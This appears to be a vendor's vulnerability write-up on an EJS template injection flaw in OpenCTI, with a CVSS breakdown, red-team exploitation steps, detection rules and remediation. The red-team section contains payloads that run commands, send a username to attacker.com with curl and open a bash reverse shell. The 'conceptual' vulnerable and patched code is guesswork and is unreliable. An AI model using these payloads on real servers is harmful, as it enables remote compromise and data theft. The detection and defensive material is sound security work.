CVE-2026-39980
Executive Summary
CVE-2026-39980 is a critical Server-Side Template Injection (SSTI) vulnerability in the OpenCTI platform, an open-source cyber threat intelligence (CTI) knowledge management system. The flaw resides in the safeEjs.ts file, which fails to properly sanitize EJS templates. An authenticated attacker with the "Manage customization" capability can inject and execute arbitrary JavaScript code within the context of the OpenCTI server process during notifier template execution. This can lead to full server compromise, data exfiltration, and lateral movement within the network. The vulnerability has been patched in version 6.9.5.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenCTI is a Node.js application that uses EJS (Embedded JavaScript) as its templating engine. The vulnerability is not a direct supply chain compromise of a dependency, but rather a misuse of the EJS library within the application's own code. The safeEjs.ts file is part of the OpenCTI codebase, and the flaw is in how it handles user-supplied template content. No malicious packages or compromised dependencies are involved.
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): High (H) - Requires "Manage customization" capability
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
The high privileges required slightly reduce the attack surface, but the impact is severe. An attacker with customization rights can achieve Remote Code Execution (RCE) on the server.
Deep Dive & Mechanics
The vulnerability is a classic Server-Side Template Injection (SSTI) in the EJS templating engine. The safeEjs.ts file is responsible for rendering notifier templates. It is intended to sanitize user input to prevent code injection, but the sanitization is insufficient.
Root Cause: The safeEjs.ts file likely uses a blacklist or regex-based approach to block dangerous EJS constructs (e.g., <%, %>, process, require). However, an attacker can bypass these filters using EJS's built-in features or JavaScript's prototype pollution.
Attack Vector:
- An attacker gains access to an account with the "Manage customization" role.
- The attacker navigates to the notifier template editing interface.
- The attacker injects a malicious EJS payload into the template content.
- When the notifier is triggered (e.g., on a new alert), the server renders the template, executing the attacker's code.
Example Payload (Conceptual):
<%= global.process.mainModule.require('child_process').execSync('id') %>
This payload uses global.process.mainModule.require to access the child_process module and execute the id command. The result is then rendered into the template output.
Why it works: The sanitization in safeEjs.ts likely blocks direct access to process or require, but the attacker can use global.process.mainModule.require to bypass these filters. This is a common SSTI bypass technique.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual - safeEjs.ts in versions < 6.9.5):
// Vulnerable: Insufficient sanitization
function safeEjs(template, data) {
// Blacklist approach - easily bypassed
const sanitized = template.replace(/process|require|child_process/g, '');
return ejs.render(sanitized, data);
}
Patched Code (Conceptual - safeEjs.ts in version 6.9.5):
// Patched: Properly escape or disallow dynamic code execution
function safeEjs(template, data) {
// Use a whitelist of allowed constructs or disable code execution
// Option 1: Use ejs's own escape function
return ejs.render(template, data, { escapeFunction: true });
// Option 2: Disable 'outputFunctionName' and 'localsName' to prevent code injection
// return ejs.render(template, data, { outputFunctionName: '', localsName: '' });
}
The patch likely involves either:
- Using a whitelist of allowed EJS tags (e.g., only
<%= %>for output, no<% %>for code). - Disabling the
outputFunctionNameandlocalsNameoptions in EJS, which are common vectors for SSTI. - Implementing a proper sandbox or using a safer templating engine.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an OpenCTI instance (version < 6.9.5).
- User account with "Manage customization" role.
Steps:
- Login: Authenticate to the OpenCTI web interface.
- Navigate to Customization: Go to
Settings > Customization > Notifiers. - Edit Template: Select an existing notifier or create a new one. Edit the template content.
- Inject Payload: Insert the following payload into the template:
This payload will execute a<%= global.process.mainModule.require('child_process').execSync('curl http://attacker.com/$(whoami)') %>curlcommand to exfiltrate the username to an attacker-controlled server. - Trigger Notifier: Trigger the notifier (e.g., by creating a new alert or report).
- Receive Callback: The attacker's server receives the HTTP request with the username.
Advanced Payload (Reverse Shell):
<%= global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"') %>
Blue Team
Detection:
- Monitor for unusual HTTP requests from the OpenCTI server to external IPs (e.g.,
curl,wget). - Monitor for unexpected child processes spawned by the OpenCTI Node.js process.
- Audit all notifier template modifications. Any change to a template should be treated as suspicious.
Hunting:
- Search logs for the string
global.process.mainModule.requireor similar patterns. - Check for templates containing
<%=tags that are not simple variable outputs.
Lab Setup:
- Victim: Deploy OpenCTI 6.9.4 in a Docker container.
docker run -d --name opencti -p 8080:8080 opencti/platform:6.9.4 - Attacker: Use a Python HTTP server to receive callbacks.
python3 -m http.server 80 - Exploit: Follow the Red Team steps above.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP/HTTPS requests from the OpenCTI server to unknown IPs.
- DNS queries for attacker-controlled domains.
- File System:
- Modified notifier templates in the database (check
notifier_templatestable). - Unexpected files in the OpenCTI installation directory (e.g.,
/opt/opencti/).
- Modified notifier templates in the database (check
- Process:
- Child processes spawned by the Node.js process (e.g.,
curl,bash,nc).
- Child processes spawned by the Node.js process (e.g.,
- Logs:
- Error logs containing
global.process.mainModule.requireorchild_process. - Audit logs showing template modifications by non-admin users.
- Error logs containing
Detection Engineering
YARA Rule
rule CVE_2026_39980_OpenCTI_SSTI {
meta:
description = "Detects malicious EJS templates exploiting CVE-2026-39980"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-39980"
strings:
$s1 = "global.process.mainModule.require" ascii wide
$s2 = "child_process" ascii wide
$s3 = "execSync" ascii wide
$s4 = "exec" ascii wide
$s5 = "spawn" ascii wide
condition:
any of ($s*) and #s1 > 0
}
Sigma Rule
title: CVE-2026-39980 - OpenCTI SSTI Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-39980 via EJS template injection
author: Valters IT
date: 2026-01-01
logsource:
category: process_creation
product: linux
detection:
selection:
ParentImage|endswith: 'node'
Image|endswith:
- '/bin/bash'
- '/bin/sh'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/bin/nc'
condition: selection
falsepositives:
- Legitimate use of these tools by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-39980 - OpenCTI SSTI Outbound Connection"; flow:to_server,established; content:"curl"; http_client_body; nocase; content:"http://"; http_client_body; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade: Update OpenCTI to version 6.9.5 or later.
docker pull opencti/platform:6.9.5 docker stop opencti docker rm opencti docker run -d --name opencti -p 8080:8080 opencti/platform:6.9.5 - Restrict Access: Limit the "Manage customization" role to only trusted administrators.
- Audit Templates: Review all existing notifier templates for suspicious content.
Long-term:
- Network Segmentation: Place the OpenCTI server in a segmented network with strict egress controls.
- Web Application Firewall (WAF): Deploy a WAF to block common SSTI payloads.
- Monitoring: Implement logging and alerting for template modifications and unusual process execution.
Workaround (if patching is not immediately possible):
- Disable the notifier functionality entirely.
- Remove the "Manage customization" role from all users.
Valters IT - Securing Your Digital Frontier
{/* [Security Hash: 3CC877DC8AF8A7FDB1B4ED34] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.